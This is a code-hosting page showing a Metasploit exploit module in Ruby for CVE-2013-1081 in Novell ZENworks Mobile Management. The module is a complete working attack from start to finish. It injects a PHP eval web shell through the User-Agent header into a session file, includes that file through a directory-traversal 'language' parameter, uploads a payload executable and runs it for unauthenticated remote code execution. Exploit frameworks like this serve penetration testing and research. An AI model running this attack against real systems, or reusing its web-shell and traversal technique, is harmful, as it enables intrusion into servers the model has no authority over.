PageRenderTime 46ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/windows/http/novell_mdm_lfi.rb

https://github.com/Jonono2/metasploit-framework
Ruby | 158 lines | 130 code | 23 blank | 5 comment | 6 complexity | 02f562dda7eeca63f57f154951ec04c9 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, LGPL-2.1, GPL-2.0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Exploit::Remote
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::EXE
  9. def initialize
  10. super(
  11. 'Name' => 'Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability',
  12. 'Description' => %q{
  13. This module exercises a vulnerability in Novel Zenworks Mobile Management's Mobile Device Management component
  14. which can allow unauthenticated remote code execution. Due to a flaw in the MDM.php script's input validation,
  15. remote attackers can both upload and execute code via a directory traversal flaw exposed in the 'language'
  16. parameter of a POST call to DUSAP.php.
  17. },
  18. 'Author' =>
  19. [
  20. 'steponequit', # Metasploit module
  21. 'Andrea Micalizzi (aka rgod)' #zdi report
  22. ],
  23. 'Platform' => 'win',
  24. 'Targets' =>
  25. [
  26. [ 'Novell Zenworks Mobile Device Management on Windows', {} ],
  27. ],
  28. 'DefaultTarget' => 0,
  29. 'References' =>
  30. [
  31. ['CVE', '2013-1081'],
  32. ['OSVDB', '91119'],
  33. ['ZDI', '13-087'],
  34. ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
  35. ],
  36. 'DisclosureDate' => "Mar 13 2013",
  37. 'License' => MSF_LICENSE
  38. )
  39. register_options([
  40. OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
  41. OptInt.new('RPORT', [true, "Default remote port", 80])
  42. ], self.class)
  43. register_advanced_options([
  44. OptBool.new('SSL', [true, "Negotiate SSL connection", false])
  45. ], self.class)
  46. end
  47. def get_version
  48. version = nil
  49. res = send_request_raw({
  50. 'method' => 'GET',
  51. 'uri' => target_uri.path
  52. })
  53. if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
  54. version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
  55. end
  56. return version
  57. end
  58. def check
  59. v = get_version
  60. print_status("#{peer} - Detected version: #{v || 'Unknown'}")
  61. if v.nil?
  62. return Exploit::CheckCode::Unknown
  63. elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
  64. # Conditions based on OSVDB info
  65. return Exploit::CheckCode::Appears
  66. end
  67. return Exploit::CheckCode::Safe
  68. end
  69. def setup_session()
  70. sess = Rex::Text.rand_text_alpha(8)
  71. cmd = Rex::Text.rand_text_alpha(8)
  72. res = send_request_cgi({
  73. 'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
  74. 'method' => "HEAD",
  75. 'uri' => normalize_uri("#{target_uri.path}/download.php"),
  76. 'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
  77. })
  78. return sess,cmd
  79. end
  80. def upload_shell(session_id,cmd_var)
  81. fname = Rex::Text.rand_text_alpha(8)
  82. payload = generate_payload_exe
  83. cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
  84. cmd << "file_put_contents($wdir.'#{fname}.exe',"
  85. cmd << "base64_decode(file_get_contents('php://input')));"
  86. res = send_request_cgi({
  87. 'method' => 'POST',
  88. 'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
  89. 'data' => Rex::Text.encode_base64(payload),
  90. 'vars_get' => {
  91. 'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
  92. cmd_var => cmd
  93. }
  94. })
  95. return fname
  96. end
  97. def exec_shell(session_id,cmd_var,fname)
  98. cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
  99. cmd << "$cmd=$wdir.'#{fname}';"
  100. cmd << "$output=array();"
  101. cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
  102. cmd << "$pipes,null,null,array('bypass_shell'=>true));"
  103. cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
  104. res = send_request_cgi({
  105. 'method' => 'POST',
  106. 'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
  107. 'data' => Rex::Text.encode_base64(payload),
  108. 'vars_get' => {
  109. 'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
  110. cmd_var => cmd
  111. }
  112. })
  113. end
  114. def exploit()
  115. begin
  116. print_status("#{peer} - Checking application version...")
  117. v = get_version
  118. if v.nil?
  119. print_error("#{peer} - Unable to detect version, abort!")
  120. return
  121. end
  122. print_good("#{peer} - Found Version #{v}")
  123. print_status("#{peer} - Setting up poisoned session")
  124. session_id,cmd = setup_session()
  125. print_status("#{peer} - Uploading payload")
  126. fname = upload_shell(session_id,cmd)
  127. print_status("#{peer} - Executing payload")
  128. exec_shell(session_id,cmd,fname)
  129. rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  130. rescue ::Timeout::Error, ::Errno::EPIPE
  131. rescue ::OpenSSL::SSL::SSLError => e
  132. return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
  133. end
  134. end
  135. end